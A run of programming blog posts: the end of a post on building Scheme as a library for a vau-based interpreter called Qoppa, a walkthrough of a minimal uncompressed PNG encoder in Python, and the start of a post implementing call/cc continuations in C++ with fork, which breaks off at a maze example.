<pre class="sourceCode scheme"><code class="sourceCode scheme">(<span class="kw">define</span><span class="fu"> </span>(m-vau static-env vau-operands)
(<span class="kw">let</span> ((params (<span class="kw">car</span> vau-operands))
(env-param (<span class="kw">cadr</span> vau-operands))
(body (<span class="kw">caddr</span> vau-operands)))
(<span class="kw">lambda</span> (dynamic-env operands)
(m-eval
(<span class="kw">cons</span>
(bind
(<span class="kw">cons</span> env-param params)
(<span class="kw">cons</span> dynamic-env operands))
static-env)
body))))</code></pre>
<p>When applying <code>vau</code>, you provide a parameter tree, a name for the caller's environment, and a body. The result of applying <code>vau</code> is an operative which, when applied, evaluates that body. It does so in the environment captured by <code>vau</code>, extended with arguments.</p>
<p>Here's the global environment:</p>
<pre class="sourceCode scheme"><code class="sourceCode scheme">(<span class="kw">define</span><span class="fu"> </span>(make-global-frame)
(<span class="kw">define</span><span class="fu"> </span>(wrap-primitive fun)
(<span class="kw">lambda</span> (env operands)
(apply fun (map (<span class="kw">lambda</span> (exp) (m-eval env exp)) operands))))
(<span class="kw">list</span>
(<span class="kw">list</span> 'vau m-vau)
(<span class="kw">list</span> 'eval (wrap-primitive m-eval))
(<span class="kw">list</span> 'operate (wrap-primitive m-operate))
(<span class="kw">list</span> 'lookup (wrap-primitive m-lookup))
(<span class="kw">list</span> 'bool (wrap-primitive (<span class="kw">lambda</span> (b t f) (<span class="kw">if</span> b t f))))
(<span class="kw">list</span> 'eq? (wrap-primitive <span class="kw">eq?</span>))
<span class="co">; more like these</span>
))
(<span class="kw">define</span><span class="fu"> global-env </span>(<span class="kw">list</span> (make-global-frame)))</code></pre>
<p>Other than <code>vau</code>, each built-in operative evaluates all of its arguments. That's what <code>wrap-primitive</code> accomplishes. We can think of these as functions, whereas <code>vau</code> is something more exotic.</p>
<p>We expose the interpreter's <code>m-eval</code> and <code>m-operate</code>, which are essential for building new features as library code. We could implement <code>lookup</code> as library code; providing it here just prevents some code duplication.</p>
<p>The other functions inherited from Scheme are:</p>
<ul class="incremental">
<li><p>Type predicates: <code>null?</code> <code>symbol?</code> <code>pair?</code></p></li>
<li><p>Pairs: <code>cons</code> <code>car</code> <code>cdr</code> <code>set-car!</code> <code>set-cdr!</code></p></li>
<li><p>Arithmetic: <code>+</code> <code>*</code> <code>-</code> <code>/</code> <code><=</code> <code>=</code></p></li>
<li><p>I/O: <code>error</code> <code>display</code> <code>open-input-file</code> <code>read</code> <code>eof-object</code></p></li>
</ul>
<h1 id="scheme-as-a-qoppa-library">Scheme as a Qoppa library</h1>
<p>The Qoppa interpreter uses Scheme syntax like <code>lambda</code>, <code>define</code>, <code>let</code>, <code>if</code>, etc. Qoppa itself supports none of this; all we get is <code>vau</code> and some basic data types. But this is enough to build a Qoppa library which provides all the Scheme features we used in the interpreter. This code starts out very cryptic, and becomes easier to read as we have more high-level features available. You can read through <a href="https://github.com/kmcallister/qoppa/blob/master/prelude.qop">the full library</a> if you like. This section will go over some of the more interesting parts.</p>
<p>Our first task is a bit of a puzzle: how do you define <code>define</code>? It's only possible because we expose the interpreter's representation of environments. We can push a new binding onto the top frame of <code>env</code>, like so:</p>
<pre class="sourceCode qoppa"><code class="sourceCode qoppa">(<span class="kw">set-car!</span> env
(<span class="kw">cons</span>
(<span class="kw">cons</span> <name> (<span class="kw">cons</span> <value> null))
(<span class="kw">car</span> env)))</code></pre>
<p>We use this idea twice, once inside the <code>vau</code> body for <code>define</code>, and once to define <code>define</code> itself.</p>
<pre class="sourceCode qoppa"><code class="sourceCode qoppa">((<span class="kw">vau</span> (name-of-define null) env
(<span class="kw">set-car!</span> env (<span class="kw">cons</span>
(<span class="kw">cons</span> name-of-define
(<span class="kw">cons</span> (<span class="kw">vau</span> (name exp) defn-env
(<span class="kw">set-car!</span> defn-env (<span class="kw">cons</span>
(<span class="kw">cons</span> name (<span class="kw">cons</span> (<span class="kw">eval</span> defn-env exp) null))
(<span class="kw">car</span> defn-env))))
null))
(<span class="kw">car</span> env))))
define ())</code></pre>
<p>Next we'll define Scheme's <code>if</code>, which evaluates one branch or the other. We do this in terms of the Qoppa builtin <code>bool</code>, which always evaluates both branches.</p>
<pre class="sourceCode qoppa"><code class="sourceCode qoppa">(define if (<span class="kw">vau</span> (b t f) env
(<span class="kw">eval</span> env
(<span class="kw">bool</span> (<span class="kw">eval</span> env b) t f))))</code></pre>
<p>We already saw the code for <code>list</code>, which evaluates each of its arguments. Many other operatives have this behavior, so we should abstract out the idea of "evaluate all arguments". The operative <code>wrap</code> takes an operative and returns a transformed version of that operative, which evaluates all of its arguments.</p>
<pre class="sourceCode qoppa"><code class="sourceCode qoppa">(define wrap (<span class="kw">vau</span> (operative) oper-env
(<span class="kw">vau</span> args args-env
(<span class="kw">operate</span> args-env
(<span class="kw">eval</span> oper-env operative)
(<span class="kw">operate</span> args-env list args)))))</code></pre>
<p>Now we can implement <code>lambda</code> as an operative that builds a <code>vau</code> term, <code>eval</code>s it, and then <code>wraps</code> the resulting operative.</p>
<pre class="sourceCode qoppa"><code class="sourceCode qoppa">(define lambda (<span class="kw">vau</span> (params body) static-env
(wrap
(<span class="kw">eval</span> static-env
(list <span class="kw">vau</span> params '_ body)))))</code></pre>
<p>This works just like Scheme's <code>lambda</code>:</p>
<pre class="sourceCode qoppa"><code class="sourceCode qoppa">(define fact (lambda (n)
(if (<span class="kw"><=</span> n <span class="dv">1</span>)
<span class="dv">1</span>
(<span class="kw">*</span> n (fact (<span class="kw">-</span> n <span class="dv">1</span>))))))</code></pre>
<p>Actually, it's incomplete, because Scheme's <code>lambda</code> allows an arbitrary number of expressions in the body. In other words Scheme's</p>
<pre class="sourceCode scheme"><code class="sourceCode scheme">(<span class="kw">lambda</span> (x) a b c)</code></pre>
<p>is syntactic sugar for</p>
<pre class="sourceCode scheme"><code class="sourceCode scheme">(<span class="kw">lambda</span> (x) (<span class="kw">begin</span> a b c))</code></pre>
<p><code>begin</code> evaluates its arguments in order left to right, and returns the value of the last one. In Scheme it's a special form, because normal argument evaluation happens in an undefined order. By contrast, the Qoppa interpreter implements a left-to-right order, so we'll define <code>begin</code> as a function.</p>
<pre class="sourceCode qoppa"><code class="sourceCode qoppa">(define last (lambda (xs)
(if (<span class="kw">null?</span> (<span class="kw">cdr</span> xs))
(<span class="kw">car</span> xs)
(last (<span class="kw">cdr</span> xs)))))
(define begin (lambda xs (last xs)))</code></pre>
<p>Now we can mutate the binding for <code>lambda</code> to support multiple expressions.</p>
<pre class="sourceCode qoppa"><code class="sourceCode qoppa">(define set! (<span class="kw">vau</span> (name exp) env
(<span class="kw">set-cdr!</span>
(<span class="kw">lookup</span> name env)
(list (<span class="kw">eval</span> env exp)))))
(set! lambda
((lambda (base-lambda)
(<span class="kw">vau</span> (param . body) env
(<span class="kw">eval</span> env (list base-lambda param (<span class="kw">cons</span> begin body)))))
lambda))</code></pre>
<p>Note the structure</p>
<pre class="sourceCode qoppa"><code class="sourceCode qoppa">((lambda (base-lambda) ...) lambda)</code></pre>
<p>which holds on to the original <code>lambda</code> operative, in a private frame. That's right, we're using <code>lambda</code> to save <code>lambda</code> so we can overwrite <code>lambda</code>. We use the same approach when defining other sugar, such as the implicit <code>lambda</code> in <code>define</code>.</p>
<p>There are some more bits of Scheme we need to implement: <code>cond</code>, <code>let</code>, <code>map</code>, <code>append</code>, and so forth. These are mostly straightforward; read the code if you want the full story. By far the most troublesome was Scheme's <code>apply</code> function, which takes a function and a list of arguments, and is supposed to apply the function to those arguments. The problem is that our functions are really operatives, and expect to call <code>eval</code> on each of their arguments. If we already have the values in a list, how do we pass them on?</p>
<p>Qoppa and Kernel have very different solutions to this problem. In Kernel, "applicatives" (things that evaluate all their arguments) are a distinct type from operatives. <code>wrap</code> is the primitive constructor of applicatives, and its inverse <code>unwrap</code> is used to implement <code>apply</code>. This design choice simplifies <code>apply</code> but complicates the core evaluator, which needs to distinguish applicatives from operatives.</p>
<p>For Qoppa I implemented <code>wrap</code> as a library function, which we saw before. But then we don't have <code>unwrap</code>. So <code>apply</code> takes the uglier approach of quoting each argument to prevent double-evaluation.</p>
<pre class="sourceCode qoppa"><code class="sourceCode qoppa">(define apply (wrap (<span class="kw">vau</span> (operative args) env
(<span class="kw">eval</span> env (<span class="kw">cons</span>
operative
(map (lambda (x) (list quote x)) args))))))</code></pre>
<p>In either Kernel or Qoppa, you're not allowed to apply <code>apply</code> to something that doesn't evaluate all of its arguments.</p>
<h1 id="testing">Testing</h1>
<p>The code we saw above is split into two files:</p>
<ul class="incremental">
<li><p><a href="https://github.com/kmcallister/qoppa/blob/master/qoppa.scm"><code>qoppa.scm</code></a> is the Qoppa interpreter, written in Scheme</p></li>
<li><p><a href="https://github.com/kmcallister/qoppa/blob/master/prelude.qop"><code>prelude.qop</code></a> is the Qoppa code which defines <code>wrap</code>, <code>lambda</code>, etc.</p></li>
</ul>
<p>I defined a procedure <code>execute-file</code> which reads a file from disk and runs each expression through <code>m-eval</code>. The last line of <code>qoppa.scm</code> is</p>
<pre class="sourceCode scheme"><code class="sourceCode scheme">(execute-file <span class="st">"prelude.qop"</span>)</code></pre>
<p>so the definitions in <code>prelude.qop</code> are available immediately.</p>
<p>We start by loading <code>qoppa.scm</code> into a Scheme interpreter. I'm using <a href="http://www.gnu.org/software/guile/">Guile</a> here, but I've actually tested this with a variety of <a href="http://www.schemers.org/Documents/Standards/R5RS/">R5RS</a> implementations.</p>
<pre><code><span class="Prompt">$</span> <span class="Entry">guile -l qoppa.scm</span>
<span class="Prompt">guile></span> <span class="Entry">(m-eval global-env '(fact 5))</span>
$1 = 120</code></pre>
<p>This establishes that we've implemented the features used by <code>fact</code>, such as <code>define</code> and <code>lambda</code>. But did we actually implement enough to run the Qoppa interpreter? To test this, we need to go deeper.</p>
<pre><code><span class="Prompt">guile></span> <span class="Entry">(execute-file "qoppa.scm")</span>
$2 = done
<span class="Prompt">guile></span> <span class="Entry">(m-eval global-env '(m-eval global-env '(fact 5)))</span>
$3 = 120</code></pre>
<p>This is factorial implemented in Scheme, implemented as a library for Qoppa, implemented in Scheme, implemented as a library for Qoppa, implemented in Scheme (implemented in C). Of course it's outrageously slow; on my machine this <code>(fact 5)</code> takes about 5 minutes. But it demonstrates that a tiny language of operatives, augmented with an appropriate library, can provide enough syntactic features to run a non-trivial Scheme program. As for how to do this <em>efficiently</em>, well, I haven't got far enough into the literature to have any idea.</p>keeganhttp://www.blogger.com/profile/12227260241426017476noreply@blogger.com38tag:blogger.com,1999:blog-1563623855220143059.post-17756828180735101432012-04-05T01:24:00.000-07:002012-04-05T01:24:01.822-07:00A minimal encoder for uncompressed PNGs<p>I've often wondered how hard it is to output a <a href="http://en.wikipedia.org/wiki/Portable_Network_Graphics">PNG</a> file directly, without using a library or a standard tool like <a href="http://netpbm.sourceforge.net/"><code>pnmtopng</code></a>. (I'm not sure when you'd actually want to do this; maybe for a tiny embedded system with a web interface.)</p>
<p>I found that constructing a simple, uncompressed PNG does not require a whole lot of code, but there are some odd details I got wrong on the first try. Here's a crash course in writing a minimal PNG encoder. We'll use only a small subset of <a href="http://www.w3.org/TR/PNG/">the PNG specification</a>, but I'll link to the full spec so you can read more.</p>
<p>The example code is not too fast; it's written in Python and has tons of string copying everywhere. My goal was to express the idea clearly, and let you worry about coding it up in C for your embedded system or whatever. If you're careful, you can avoid ever copying the image data.</p>
<p>We will assume the raw image data is a Python byte string (non-Unicode), consisting of one byte each for red, green, and blue, for each pixel in English reading order. For reference, here is how we'd "encode" this data in the much simpler <a href="http://manpages.ubuntu.com/manpages/oneiric/man5/ppm.5.html">PPM</a> format.</p>
<pre class="sourceCode"><code class="sourceCode python"><span class="kw">def</span> to_ppm(width, height, data):<br /> <span class="kw">return</span> <span class="st">'P6</span><span class="ch">\n</span><span class="ot">%d</span><span class="st"> </span><span class="ot">%d</span><span class="ch">\n</span><span class="st">255</span><span class="ch">\n</span><span class="ot">%s</span><span class="st">'</span> % (width, height, data)</code></pre>
<p>I lied when I said we'd use no libraries at all. I will import Python's standard <a href="http://docs.python.org/library/struct.html"><code>struct</code></a> module. I figured an exercise in converting integers to 4-byte <a href="http://en.wikipedia.org/wiki/Endianness">big endian</a> format would be excessively boring. Here's how we do it with <code>struct</code>.</p>
<pre class="sourceCode"><code class="sourceCode python"><span class="ch">import</span> struct<br /><br /><span class="kw">def</span> be32(n):<br /> <span class="kw">return</span> struct.pack(<span class="st">'>I'</span>, n)</code></pre>
<p>A PNG file contains a sequence of <a href="http://www.w3.org/TR/PNG/#5Chunk-layout">data chunks</a>, each with an associated length, type, and <a href="http://www.w3.org/TR/PNG/#5CRC-algorithm">CRC checksum</a>. The type is a 4-byte quantity which can be <a href="http://www.w3.org/TR/PNG/#5Chunk-naming-conventions">interpreted</a> as four ASCII letters. We'll implement <code>crc</code> later.</p>
<pre class="sourceCode"><code class="sourceCode python"><span class="kw">def</span> png_chunk(ty, data):<br /> <span class="kw">return</span> be32(<span class="dt">len</span>(data)) + ty + data + be32(crc(ty + data))</code></pre>
<p>The <a href="http://www.w3.org/TR/PNG/#11IHDR"><code>IHDR</code> chunk</a>, always the first chunk in a file, contains basic header information such as width and height. We will hardcode a color depth of 8 bits, <a href="http://www.w3.org/TR/PNG/#6Colour-values">color type</a> 2 (RGB truecolor), and standard 0 values for the other fields.</p>
<pre class="sourceCode"><code class="sourceCode python"><span class="kw">def</span> png_header(width, height):<br /> <span class="kw">return</span> png_chunk(<span class="st">'IHDR'</span>,<br /> struct.pack(<span class="st">'>IIBBBBB'</span>, width, height, <span class="dv">8</span>, <span class="dv">2</span>, <span class="dv">0</span>, <span class="dv">0</span>, <span class="dv">0</span>))</code></pre>
<p>The actual image data is stored in <a href="http://www.ietf.org/rfc/rfc1951.txt">DEFLATE</a> format, the same compression used by <a href="http://en.wikipedia.org/wiki/Gzip">gzip</a> and friends. Fortunately for our minimalist project, DEFLATE allows uncompressed blocks. Each one has a 5-byte header: the byte <code>0</code> (or <code>1</code> for the last block), followed by a 16-bit data length, and then the same length value with all of the bits flipped. Note that these are <em>little-endian</em> numbers, unlike the rest of PNG. Never assume a format is internally consistent!</p>
<pre class="sourceCode"><code class="sourceCode python">MAX_DEFLATE = <span class="bn">0xffff</span><br /><span class="kw">def</span> deflate_block(data, last=<span class="ot">False</span>):<br /> n = <span class="dt">len</span>(data)<br /> <span class="kw">assert</span> n <= MAX_DEFLATE<br /> <span class="kw">return</span> struct.pack(<span class="st">'<BHH'</span>, <span class="dt">bool</span>(last), n, <span class="bn">0xffff</span> ^ n) + data</code></pre>
<p>Since a DEFLATE block can only hold 64 kB, we'll need to split our image data into multiple blocks. We will actually want a more general function to <a href="http://code.activestate.com/recipes/496784-split-string-into-n-size-pieces/">split a sequence</a> into chunks of size <code>n</code> (allowing the last chunk to be smaller than <code>n</code>).</p>
<pre class="sourceCode"><code class="sourceCode python"><span class="kw">def</span> pieces(seq, n):<br /> <span class="kw">return</span> [seq[i:i+n] <span class="kw">for</span> i in <span class="dt">xrange</span>(<span class="dv">0</span>, <span class="dt">len</span>(seq), n)]</code></pre>
<p>PNG wants the DEFLATE blocks to be encapsulated as a <a href="http://www.ietf.org/rfc/rfc1950.txt">zlib data stream</a>. For our purposes, this means we prefix a header of <code>78 01</code> hex, and suffix an <a href="http://en.wikipedia.org/wiki/Adler-32">Adler-32 checksum</a> of the "decompressed" data. That's right, a self-contained PNG encoder needs to implement <em>two different</em> checksum algorithms.</p>
<pre class="sourceCode"><code class="sourceCode python"><span class="kw">def</span> zlib_stream(data):<br /> segments = pieces(data, MAX_DEFLATE)<br /><br /> blocks = <span class="st">''</span>.join(deflate_block(p) <span class="kw">for</span> p in segments[:-<span class="dv">1</span>])<br /> blocks += deflate_block(segments[-<span class="dv">1</span>], last=<span class="ot">True</span>)<br /><br /> <span class="kw">return</span> <span class="st">'</span><span class="ch">\x78\x01</span><span class="st">'</span> + blocks + be32(adler32(data))</code></pre>
<p>We're almost done, but there's one more wrinkle. PNG has a pre-compression <a href="http://www.w3.org/TR/PNG/#9Filters">filter</a> step, which transforms a scanline of data at a time. A filter doesn't change the size of the image data, but is supposed to expose redundancies, leading to better compression. We aren't compressing anyway, so we choose the no-op filter. This means we prefix a zero byte to each scanline.</p>
<p>At last we can build the PNG file. It consists of the <a href="http://www.w3.org/TR/PNG/#5PNG-file-signature">magic PNG signature</a>, a header chunk, our zlib stream inside an <a href="http://www.w3.org/TR/PNG/#11IDAT"><code>IDAT</code> chunk</a>, and an empty <a href="http://www.w3.org/TR/PNG/#11IEND"><code>IEND</code> chunk</a> to mark the end of the file.</p>
<pre class="sourceCode"><code class="sourceCode python"><span class="kw">def</span> to_png(width, height, data):<br /> lines = <span class="st">''</span>.join(<span class="st">'\0'</span>+p <span class="kw">for</span> p in pieces(data, <span class="dv">3</span>*width))<br /><br /> <span class="kw">return</span> (<span class="st">'</span><span class="ch">\x89</span><span class="st">PNG</span><span class="ch">\r\n\x1a\n</span><span class="st">'</span><br /> + png_header(width, height)<br /> + png_chunk(<span class="st">'IDAT'</span>, zlib_stream(lines))<br /> + png_chunk(<span class="st">'IEND'</span>, <span class="st">''</span>))</code></pre>
<p>Actually, a PNG file may contain any number of <code>IDAT</code> chunks. The zlib stream is given by the concatenation of their contents. It might be convenient to emit one <code>IDAT</code> chunk per DEFLATE block. But the <code>IDAT</code> boundaries really <a href="http://www.w3.org/TR/PNG/#10CompressionFSL">can</a> occur anywhere, even halfway through the zlib checksum. This flexibility is convenient for encoders, and a hassle for decoders. For example, one of <a href="http://en.wikipedia.org/wiki/Portable_Network_Graphics#Web_browser_support_for_PNG">many historical PNG bugs</a> in Internet Explorer is triggered by <a href="http://support.microsoft.com/kb/897242">empty <code>IDAT</code> chunks</a>.</p>
<p>Here are those checksum algorithms we need. My CRC function follows the approach of <a href="http://en.wikipedia.org/wiki/Computation_of_CRC#Bit_ordering_.28Endianness.29">code fragment 5</a> from Wikipedia. For better performance you would want to precompute a lookup table, as <a href="http://www.w3.org/TR/PNG/#D-CRCAppendix">suggested</a> by the PNG spec.</p>
<pre class="sourceCode"><code class="sourceCode python"><span class="kw">def</span> crc(data):<br /> c = <span class="bn">0xffffffff</span><br /> <span class="kw">for</span> x in data:<br /> c ^= <span class="dt">ord</span>(x)<br /> <span class="kw">for</span> k in <span class="dt">xrange</span>(<span class="dv">8</span>):<br /> v = <span class="bn">0xedb88320</span> <span class="kw">if</span> c & <span class="dv">1</span> <span class="kw">else</span> <span class="dv">0</span><br /> c = v ^ (c >> <span class="dv">1</span>)<br /> <span class="kw">return</span> c ^ <span class="bn">0xffffffff</span><br /><br /><span class="kw">def</span> adler32(data):<br /> s1, s2 = <span class="dv">1</span>, <span class="dv">0</span><br /> <span class="kw">for</span> x in data:<br /> s1 = (s1 + <span class="dt">ord</span>(x)) % <span class="dv">65521</span><br /> s2 = (s2 + s1) % <span class="dv">65521</span><br /> <span class="kw">return</span> (s2 << <span class="dv">16</span>) + s1</code></pre>
<p>Now we can test this code. We'll generate a grid of red-green-yellow gradients, and write it in both PPM and PNG formats.</p>
<pre class="sourceCode"><code class="sourceCode python">w, h = <span class="dv">500</span>, <span class="dv">300</span><br />img = <span class="st">''</span><br /><span class="kw">for</span> y in <span class="dt">xrange</span>(h):<br /> <span class="kw">for</span> x in <span class="dt">xrange</span>(w):<br /> img += <span class="dt">chr</span>(x % <span class="dv">256</span>) + <span class="dt">chr</span>(y % <span class="dv">256</span>) + <span class="st">'\0'</span><br /><br /><span class="dt">open</span>(<span class="st">'out.ppm'</span>, <span class="st">'wb'</span>).write(to_ppm(w, h, img))<br /><span class="dt">open</span>(<span class="st">'out.png'</span>, <span class="st">'wb'</span>).write(to_png(w, h, img))</code></pre>
<p>Then we can verify that the two files contain identical image data.</p>
<pre><code>$ pngtopnm out.png | sha1sum - out.ppm
e19c1229221c608b2a45a4488f9959403b8630a0 -
e19c1229221c608b2a45a4488f9959403b8630a0 out.ppm
</code></pre>
<p>That's it! As usual, the code is on <a href="https://github.com/kmcallister/blog-misc/tree/master/minpng/minpng.py">GitHub</a>. You can also read what others have written on similar subjects <a href="http://drj11.wordpress.com/2007/11/20/a-use-for-uncompressed-pngs/">here</a>, <a href="https://github.com/jrmuizel/minpng">here</a>, <a href="http://gareth-rees.livejournal.com/9988.html">here</a>, or <a href="http://www.chrfr.de/software/midp_png.html">here</a>.</p>keeganhttp://www.blogger.com/profile/12227260241426017476noreply@blogger.com110tag:blogger.com,1999:blog-1563623855220143059.post-60315464477918898852012-02-14T01:26:00.000-08:002015-01-11T22:18:20.297-08:00Continuations in C++ with fork<p>[Update, Jan 2015: I've <a href="https://github.com/kmcallister/forkallcc">translated this code into Rust</a>.]</p>
<p>While reading "<a href="http://homepage.mac.com/sigfpe/Computing/continuations.html">Continuations in C</a>" I came across an intriguing idea:</p>
<blockquote>
<p>It is possible to simulate <code>call/cc</code>, or something like it, on Unix systems with system calls like <code>fork()</code> that literally duplicate the running process.</p>
</blockquote>
<p>The author sets this idea aside, and instead discusses some code that uses <a href="http://www.kernel.org/doc/man-pages/online/pages/man3/setjmp.3.html"><code>setjmp</code></a>/<a href="http://www.kernel.org/doc/man-pages/online/pages/man3/longjmp.3.html"><code>longjmp</code></a> and stack copying. And there are several other <a href="http://en.wikipedia.org/wiki/Continuation">continuation</a>-like constructs available for C, such as POSIX <a href="http://www.kernel.org/doc/man-pages/online/pages/man2/getcontext.2.html"><code>getcontext</code></a>. But the idea of implementing <a href="http://en.wikipedia.org/wiki/Call-with-current-continuation"><code>call/cc</code></a> with <a href="http://www.kernel.org/doc/man-pages/online/pages/man2/fork.2.html"><code>fork</code></a> stuck with me, if only for its amusement value. I'd seen <code>fork</code> used for <a href="http://okmij.org/ftp/continuations/shift-v-fork.html#implementation-C">computing with probability distributions</a>, but I couldn't find an implementation of <code>call/cc</code> itself. So I decided to give it a shot, using my favorite <a href="http://esoteric.voxelperfect.net/wiki/Main_Page">esolang</a>, C++.</p>
<p>Continuations are a famously mind-bending idea, and this article doesn't totally explain what they are or what they're good for. If you aren't familiar with continuations, you might catch on from the examples, or you might want to consult another source first (<a href="http://en.wikipedia.org/wiki/Continuation">1</a>, <a href="http://www.madore.org/~david/computers/callcc.html">2</a>, <a href="http://community.schemewiki.org/?call-with-current-continuation">3</a>, <a href="http://community.schemewiki.org/?call-with-current-continuation-for-C-programmers">4</a>, <a href="http://www.ps.uni-saarland.de/~duchier/python/continuations.html">5</a>, <a href="http://web.mit.edu/alexmv/6.S184/l7-continuations.pdf">6</a>).</p>
<h1 id="small-examples">Small examples</h1>
<p>I'll get to the implementation later, but right now let's see what these <code>fork</code>-based continuations can do. The interface looks like this.</p>
<pre class="sourceCode"><code class="sourceCode cpp"><span class="kw">template</span> <<span class="kw">typename</span> T><br /><span class="kw">class</span> cont {<br /><span class="kw">public</span>:<br /> <span class="dt">void</span> <span class="kw">operator</span>()(<span class="dt">const</span> T &x);<br />};<br /><br /><span class="kw">template</span> <<span class="kw">typename</span> T><br />T call_cc( std::function< T (cont<T>) > f );</code></pre>
<p><a href="http://en.cppreference.com/w/cpp/utility/functional/function"><code>std::function</code></a> is a wrapper that can hold function-like values, such as function objects or C-style function pointers. So <code>call_cc<T></code> will accept any function-like value that takes an argument of type <code>cont<T></code> and returns a value of type <code>T</code>. This wrapper is the first of several <a href="http://en.wikipedia.org/wiki/C%2B%2B11">C++11</a> features we'll use.</p>
<p><code>call_cc</code> stands for "call with current continuation", and that's exactly what it does. <code>call_cc(f)</code> will call <code>f</code>, and return whatever <code>f</code> returns. The interesting part is that it passes to <code>f</code> an instance of our <code>cont</code> class, which represents all the stuff that's going to happen in the program after <code>f</code> returns. That <code>cont</code> object overloads <code>operator()</code> and so can be called like a function. If it's called with some argument <code>x</code>, the program behaves as though <code>f</code> had returned <code>x</code>.</p>
<p>The types reflect this usage. The type parameter <code>T</code> in <code>cont<T></code> is the return type of the function passed to <code>call_cc</code>. It's also the type of values accepted by <code>cont<T>::operator()</code>.</p>
<p>Here's a small example.</p>
<pre class="sourceCode"><code class="sourceCode cpp"><span class="dt">int</span> f(cont<<span class="dt">int</span>> k) {<br /> std::cout << <span class="st">"f called"</span> << std::endl;<br /> k(<span class="dv">1</span>);<br /> std::cout << <span class="st">"k returns"</span> << std::endl;<br /> <span class="kw">return</span> <span class="dv">0</span>;<br />}<br /><br /><span class="dt">int</span> main() {<br /> std::cout << <span class="st">"f returns "</span> << call_cc<<span class="dt">int</span>>(f) << std::endl;<br />}</code></pre>
<p>When we run this code we get:</p>
<pre><code>f called
f returns 1
</code></pre>
<p>We don't see the "<code>k returns</code>" message. Instead, calling <code>k(1)</code> bails out of <code>f</code> early, and forces it to return 1. This would happen even if we passed <code>k</code> to some deeply nested function call, and invoked it there.</p>
<p>This nonlocal return is kind of like throwing an exception, and is not that surprising. More exciting things happen if a continuation outlives the function call it came from.</p>
<pre class="sourceCode"><code class="sourceCode cpp">boost::optional< cont<<span class="dt">int</span>> > global_k;<br /><br /><span class="dt">int</span> g(cont<<span class="dt">int</span>> k) {<br /> std::cout << <span class="st">"g called"</span> << std::endl;<br /> global_k = k;<br /> <span class="kw">return</span> <span class="dv">0</span>;<br />}<br /><br /><span class="dt">int</span> main() {<br /> std::cout << <span class="st">"g returns "</span> << call_cc<<span class="dt">int</span>>(g) << std::endl;<br /><br /> <span class="kw">if</span> (global_k)<br /> (*global_k)(<span class="dv">1</span>);<br />}</code></pre>
<p>When we run this, we get:</p>
<pre><code>g called
g returns 0
g returns 1
</code></pre>
<p><code>g</code> is called once, and returns twice! When called, <code>g</code> saves the current continuation in a global variable. After <code>g</code> returns, <code>main</code> calls that continuation, and <code>g</code> returns again with a different value.</p>
<p>What value should <code>global_k</code> have before <code>g</code> is called? There's no such thing as a "default" or "uninitialized" <code>cont<T></code>. We solve this problem by wrapping it with <a href="http://www.boost.org/libs/optional/index.html"><code>boost::optional</code></a>. We use the resulting object much like a pointer, checking for "null" and then dereferencing. The difference is that <code>boost::optional</code> manages storage for the underlying value, if any.</p>
<p>Why isn't this code an infinite loop? Because <strong>invoking a <code>cont<T></code> also resets global state</strong> to the values it had when the continuation was captured. The second time <code>g</code> returns, <code>global_k</code> has been reset to the "null" <code>optional</code> value. This is <strong>unlike Scheme's <code>call/cc</code> and most other continuation systems</strong>. It turns out to be a serious limitation, though it's sometimes convenient. The reason for this behavior is that invoking a continuation is implemented as a transfer of control to another process. More on that later.</p>
<h1 id="backtracking">Backtracking</h1>
<p>We can use continuations to implement backtracking, as found in <a href="http://en.wikipedia.org/wiki/Logic_programming">logic programming</a> languages. Here is a suitable interface.</p>
<pre class="sourceCode"><code class="sourceCode cpp"><span class="dt">bool</span> guess();<br /><span class="dt">void</span> fail();</code></pre>
<p>We will use <code>guess</code> as though it has a magical ability to predict the future. We assume it will only return <code>true</code> if doing so results in a program that never calls <code>fail</code>. Here is the implementation.</p>
<pre class="sourceCode"><code class="sourceCode cpp">boost::optional< cont<<span class="dt">bool</span>> > checkpoint;<br /><br /><span class="dt">bool</span> guess() {<br /> <span class="kw">return</span> call_cc<<span class="dt">bool</span>>( [](cont<<span class="dt">bool</span>> k) {<br /> checkpoint = k;<br /> <span class="kw">return</span> <span class="kw">true</span>;<br /> } );<br />}<br /><br /><span class="dt">void</span> fail() {<br /> <span class="kw">if</span> (checkpoint) {<br /> (*checkpoint)(<span class="kw">false</span>);<br /> } <span class="kw">else</span> {<br /> std::cerr << <span class="st">"Nothing to be done."</span> << std::endl;<br /> exit(<span class="dv">1</span>);<br /> }<br />}</code></pre>
<p><code>guess</code> invokes <code>call_cc</code> on a <a href="http://en.wikipedia.org/wiki/Anonymous_function#C.2B.2B">lambda expression</a>, which saves the current continuation and returns <code>true</code>. A subsequent call to <code>fail</code> will invoke this continuation, retrying execution in a world where <code>guess</code> had returned <code>false</code> instead. In Scheme et al, we would store a whole stack of continuations. But invoking our <code>cont<bool></code> resets global state, including the <code>checkpoint</code> variable itself, so we only need to explicitly track the most recent continuation.</p>
<p>Now we can implement the integer factoring example from "<a href="http://homepage.mac.com/sigfpe/Computing/continuations.html">Continuations in C</a>".</p>
<pre class="sourceCode"><code class="sourceCode cpp"><span class="dt">int</span> integer(<span class="dt">int</span> m, <span class="dt">int</span> n) {<br /> <span class="kw">for</span> (<span class="dt">int</span> i=m; i<=n; i++) {<br /> <span class="kw">if</span> (guess())<br /> <span class="kw">return</span> i;<br /> }<br /> fail();<br />}<br /><br /><span class="dt">void</span> factor(<span class="dt">int</span> n) {<br /> <span class="dt">const</span> <span class="dt">int</span> i = integer(<span class="dv">2</span>, <span class="dv">100</span>);<br /> <span class="dt">const</span> <span class="dt">int</span> j = integer(<span class="dv">2</span>, <span class="dv">100</span>);<br /><br /> <span class="kw">if</span> (i*j != n)<br /> fail();<br /><br /> std::cout << i << <span class="st">" * "</span> << j << <span class="st">" = "</span> << n << std::endl;<br />}</code></pre>
<p><code>factor(n)</code> will guess two integers, and fail if their product is not <code>n</code>. Calling <code>factor(391)</code> will produce the output</p>
<pre><code>17 * 23 = 391
</code></pre>
<p>after a moment's delay. In fact, you might see this <em>after</em> your shell prompt has returned, because the output is produced by a thousand-generation descendant of the process your shell created.</p>
<h1 id="solving-a-maze">Solving a maze</h1>
<p>For a more substantial use of backtracking, let's solve a maze.</p>
